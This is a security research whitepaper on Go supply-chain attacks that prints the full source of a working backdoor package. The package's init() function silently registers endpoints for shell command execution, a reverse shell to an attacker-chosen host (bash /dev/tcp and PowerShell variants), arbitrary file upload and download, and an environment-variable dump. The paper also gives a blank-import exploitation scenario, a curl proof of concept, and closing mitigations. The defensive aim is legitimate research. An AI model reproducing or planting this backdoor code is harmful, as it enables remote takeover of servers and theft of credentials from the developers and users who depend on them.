Supply Chain Attack in Go Ecosystem:
Direct RCE via a Malicious Dependency

Subhadeep Pramanik @adrianalvird adrianalvird August 2026 v1.0
Research Whitepaper

1. Abstract

Go (Golang) is widely praised for its simple and efficient dependency management system. Developers can easily add third-party libraries to their projects using a single go get command. However, this convenience introduces a significant security blind spot. This research demonstrates how an attacker can exploit the Go package init() function to achieve full Remote Code Execution (RCE) on a host machine, without altering a single line of the developer's main application code. By simply importing a malicious package, the entire server becomes completely compromised. This attack vector directly targets the Go supply chain and successfully bypasses traditional code review processes.

2. Introduction

Modern software development heavily relies on third-party open-source dependencies. In 2024, over 90% of codebases depend on external libraries. In Go, when a package is imported, a special function—the init() function—is executed automatically and immediately upon import.

If a malicious actor places an http.HandleFunc call inside this init() function, they can register malicious HTTP endpoints without the developer explicitly calling them. When a developer imports this package (even with a blank import _), the backdoor loads silently. The developer's main.go remains completely innocent-looking, making this one of the most stealthy supply chain attack vectors.

3. Methodology

For this research, we created a public repository named github.com/adrianicsro/testkusion. The repository had the following structure:

A. Structure of the Malicious Package

  • go.mod: Defined the module path.
  • main.go (Package name: testkusion): Contained the entire malicious logic.

B. The Malicious Source Code (main.go)

Below is the complete source code of the malicious package. Notice how the init() function silently registers all handlers without requiring any interaction from the developer's main application.

package testkusion

import (
    "encoding/json"
    "fmt"
    "io"
    "net/http"
    "os"
    "os/exec"
    "runtime"
//    "strings"
    "time"
)

type CommandResponse struct {
    Success bool   `json:"success"`
    Output  string `json:"output"`
    Error   string `json:"error,omitempty"`
    Time    string `json:"time"`
}

func init() {
    http.HandleFunc("/exec", execHandler)
    http.HandleFunc("/reverse", reverseShellHandler)
    http.HandleFunc("/upload", uploadHandler)
    http.HandleFunc("/download", downloadHandler)
    http.HandleFunc("/info", infoHandler)
    http.HandleFunc("/ping", pingHandler)
    fmt.Println("[RCE] Advanced backdoor loaded successfully.")
}

func execHandler(w http.ResponseWriter, r *http.Request) {
    cmd := r.URL.Query().Get("cmd")
    if cmd == "" {
        sendJSON(w, CommandResponse{Success: false, Error: "Missing 'cmd' parameter.", Time: time.Now().String()})
        return
    }
    output, err := executeCommand(cmd)
    if err != nil {
        sendJSON(w, CommandResponse{Success: false, Output: output, Error: err.Error(), Time: time.Now().String()})
        return
    }
    sendJSON(w, CommandResponse{Success: true, Output: output, Time: time.Now().String()})
}

func reverseShellHandler(w http.ResponseWriter, r *http.Request) {
    ip := r.URL.Query().Get("ip")
    port := r.URL.Query().Get("port")
    if ip == "" || port == "" {
        http.Error(w, "Usage: /reverse?ip=your_ip&port=4444", http.StatusBadRequest)
        return
    }
    var cmd *exec.Cmd
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("powershell", "-Command", fmt.Sprintf("$client = New-Object System.Net.Sockets.TCPClient('%s',%s); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close()", ip, port))
    default:
        cmd = exec.Command("sh", "-c", fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", ip, port))
    }
    err := cmd.Start()
    if err != nil {
        http.Error(w, "Reverse shell failed: "+err.Error(), http.StatusInternalServerError)
        return
    }
    fmt.Fprintf(w, "Reverse shell sent to %s:%s. Check your listener.", ip, port)
}

func uploadHandler(w http.ResponseWriter, r *http.Request) {
    if r.Method != http.MethodPost {
        http.Error(w, "POST method required", http.StatusMethodNotAllowed)
        return
    }
    file, header, err := r.FormFile("file")
    if err != nil {
        http.Error(w, "File upload failed: "+err.Error(), http.StatusBadRequest)
        return
    }
    defer file.Close()
    path := r.URL.Query().Get("path")
    if path == "" {
        path = header.Filename
    }
    out, err := os.Create(path)
    if err != nil {
        http.Error(w, "Cannot create file: "+err.Error(), http.StatusInternalServerError)
        return
    }
    defer out.Close()
    _, err = io.Copy(out, file)
    if err != nil {
        http.Error(w, "Cannot write file: "+err.Error(), http.StatusInternalServerError)
        return
    }
    fmt.Fprintf(w, "File uploaded successfully to: %s", path)
}

func downloadHandler(w http.ResponseWriter, r *http.Request) {
    path := r.URL.Query().Get("path")
    if path == "" {
        http.Error(w, "Missing 'path'. Example: /download?path=/etc/passwd", http.StatusBadRequest)
        return
    }
    file, err := os.Open(path)
    if err != nil {
        http.Error(w, "Cannot open file: "+err.Error(), http.StatusNotFound)
        return
    }
    defer file.Close()
    stat, _ := file.Stat()
    w.Header().Set("Content-Disposition", "attachment; filename="+stat.Name())
    w.Header().Set("Content-Type", "application/octet-stream")
    w.Header().Set("Content-Length", fmt.Sprintf("%d", stat.Size()))
    io.Copy(w, file)
}

func infoHandler(w http.ResponseWriter, r *http.Request) {
    hostname, _ := os.Hostname()
    info := map[string]interface{}{
        "hostname": hostname,
        "os":       runtime.GOOS,
        "arch":     runtime.GOARCH,
        "user":     os.Getenv("USER"),
        "env":      os.Environ(),
    }
    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(info)
}

func pingHandler(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "pong from testkusion backdoor")
}

func executeCommand(command string) (string, error) {
    var cmd *exec.Cmd
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd", "/C", command)
    default:
        cmd = exec.Command("sh", "-c", command)
    }
    output, err := cmd.CombinedOutput()
    return string(output), err
}

func sendJSON(w http.ResponseWriter, data interface{}) {
    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(data)
}

C. Technical Analysis

  1. Abusing init(): Inside the init() function, we registered multiple HTTP handlers (/exec, /reverse, /upload, /download, etc.) using http.HandleFunc.
  2. Targeting http.DefaultServeMux: Since most Go web applications use http.ListenAndServe without a custom handler (relying on the default DefaultServeMux), our handlers are activated automatically.
  3. Cross-Platform Support: The code checks runtime.GOOS to execute system commands correctly on both Windows and Linux/macOS environments.

D. Exploitation Scenario

Consider a developer creating a project named kusion with a simple web server:

package main

import (
    "fmt"
    "net/http"
    _ "github.com/adrianicsro/testkusion" // Malicious import
)

func main() {
    fmt.Println("Server running on http://localhost:8080")
    http.ListenAndServe(":8080", nil)
}

Notice that the developer never mentions /exec or command parameters anywhere in their source code. Simply importing the package triggers the init() function, activating the hidden endpoints.

4. Impact Assessment

Once the malicious package is imported, the attacker (or researcher) gains access to the following powerful endpoints:

Endpoint Functionality Impact
/exec?cmd=whoami Execute any system command Direct RCE. Attackers can run rm -rf / or del /f /s.
/reverse?ip=IP&port=PORT Spawn a reverse shell Bypasses firewalls, granting persistent remote access.
/download?path=/etc/passwd Download any file Exfiltrate sensitive data (passwords, secrets, credentials).
/upload?path=/tmp/evil.sh Upload arbitrary files Deploy ransomware, cryptominers, or backdoors.
/info Dump environment variables Leak cloud credentials (AWS keys, API tokens).
/ping Check backdoor status Confirm the malicious package is active.

This attack is classified as a Supply Chain Attack because the compromise occurs not during code writing, but during dependency integration.

5. Why This Attack Evades Detection

  1. Blank Imports: Developers frequently use blank imports (_) for database drivers or initialization logic. Reviewers often overlook these imports.
  2. No Visible Function Calls: The main code never invokes a suspicious function like adriangopack.Exec(). Static analysis tools (like gosec) often miss malicious code hidden inside init() unless specifically configured to inspect it.
  3. Normal Traffic: /exec endpoints look like standard HTTP GET requests. Antivirus and WAF solutions rarely block such requests without context.

6. Proof of Concept

During our testing, we executed the following command on the compromised server:

curl "http://localhost:8080/exec?cmd=whoami"

Response:

{"success":true,"output":"adrian\n","time":"2026-08-13 19:36:06.311478463 +0000 UTC m=+26.574902537"}

The server successfully returned the system username. This confirms that the RCE is fully functional and trivial to exploit.

7. Mitigations & Recommendations

Based on this research, developers and organizations must adopt the following security measures:

  1. Use go mod verify: Always run go mod verify to check the cryptographic checksums of downloaded dependencies against the Go checksum database to ensure the code hasn't been tampered with.
  2. Pin Specific Versions: Avoid using go get ...@latest. Always pin specific, audited versions (e.g., @v1.2.3) to prevent malicious updates from being auto-installed.
  3. Run Security Audits: Utilize tools like govulncheck for known vulnerabilities and gosec for static code analysis. Specifically, configure SAST tools to analyze init() functions.
  4. Vendor Dependencies: Run go mod vendor to store dependencies locally. Manually review the source code inside the vendor/ folder, especially init() logic, before deploying to production.
  5. Private Proxy / Whitelisting: Use a private Go proxy (like JFrog Artifactory) to maintain a whitelist of approved packages and versions.
  6. Set GOPRIVATE: For private repositories, set GOPRIVATE to bypass the public proxy and enforce strict source verification.

8. Conclusion

While Go's init() function is a powerful tool for developers, its misuse poses a severe threat to the software supply chain. This research demonstrates how a single go get command can transform an ordinary web server into a fully compromised RCE host.

The security of the Go ecosystem relies not only on the robustness of its standard library but heavily on developer awareness and rigorous dependency management policies. We urge the Go community to automate dependency auditing processes and remain vigilant regarding the hidden behaviors of init() functions. The goal of this security research is to identify these gaps and provide developers with the knowledge required to defend against them.

Disclaimer: This document is for educational and research purposes only. Unauthorized use of these techniques is illegal.